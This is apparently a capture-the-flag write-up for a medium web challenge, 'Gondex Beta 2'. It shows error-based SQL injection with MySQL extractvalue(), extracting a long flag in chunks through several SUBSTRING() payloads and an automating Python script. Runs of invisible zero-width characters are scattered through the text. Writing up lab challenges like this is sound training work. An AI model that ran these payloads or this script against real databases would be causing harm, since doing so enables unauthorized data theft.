Gondex Beta 2

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: error_based_sqli_extractvalue, chunked_extraction_substring, xpath_error_injection

Summary

Walkthrough of the CUSTOM Web Gondex Beta 2. Continuation of the "Gondex Beta 1" task. Same error-based SQL injection, but the flag is very long and exceeds the extractvalue() output limit (about 32 characters). Need to extract the flag in chunk

Description

Continuation of the "Gondex Beta 1" task. Same error-based SQL injection, but the flag is very long and exceeds the extractvalue() output limit (about 32 characters). Need to extract the flag in chunks using SUBSTRING().

URL: http://kslweb1.spb.ctf.su/sqli/error2/

Analysis

When using the standard error-based payload with extractvalue(), we only get the first ~31 characters of the flag. The extractvalue() function has a limitation on the length of the error output. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key observations:

• Same vulnerability as in error1
• Flag is longer than 32 characters
• Need chunked extraction technique

Solution

Step 1: First attempt - getting truncated flag

 sql read-only • copy allowed Copy
' AND extractvalue(1, CONCAT(0x7e, (SELECT flag FROM secret_table))) -- 

Result: ~spbctf{REDACTED (truncated)

Step 2: Chunked extraction with SUBSTRING()

Using SUBSTRING(string, start, length) to extract in chunks:

Part 1 (characters 1-31):

 sql read-only • copy allowed Copy
' AND extractvalue(1, CONCAT(0x7e, SUBSTRING((SELECT flag FROM secret_table),1,31))) -- 

Result: ~spbctf{REDACTED ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Part 2 (characters 32-62):

 sql read-only • copy allowed Copy
' AND extractvalue(1, CONCAT(0x7e, SUBSTRING((SELECT flag FROM secret_table),32,31))) -- 

Result: ~REDACTED

Part 3 (characters 63-93):

 sql read-only • copy allowed Copy
' AND extractvalue(1, CONCAT(0x7e, SUBSTRING((SELECT flag FROM secret_table),63,31))) -- 

Result: ~REDACTED

Part 4 (characters 94-124):

 sql read-only • copy allowed Copy
' AND extractvalue(1, CONCAT(0x7e, SUBSTRING((SELECT flag FROM secret_table),94,31))) -- 

Result: ~REDACTED}

Step 3: Concatenating the parts

spbctf{REDACTED}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Automation (Python)

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import requests

url = "http://kslweb1.spb.ctf.su/sqli/error2/"
flag = ""
offset = 1
chunk_size = 31

while True:
    payload = f"' AND extractvalue(1, CONCAT(0x7e, SUBSTRING((SELECT flag FROM secret_table),{offset},{chunk_size}))) -- "
    
    r = requests.get(url, params={"search": payload})
    
    # Parse error to extract data
    if "XPATH syntax error" in r.text:
        import re
        match = re.search(r"XPATH syntax error: '~([^']*)'", r.text)
        if match:
            chunk = match.group(1)
            if not chunk:
                break
            flag += chunk
            print(f"[+] Offset {offset}: {chunk}")
            offset += chunk_size
        else:
            break
    else:
        break
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

print(f"\n[+] Full flag: {flag}")

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering error_based_sqli_extractvalue, chunked_extraction_substring, xpath_error_injection was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Gondex Beta 2 • Difficulty: Medium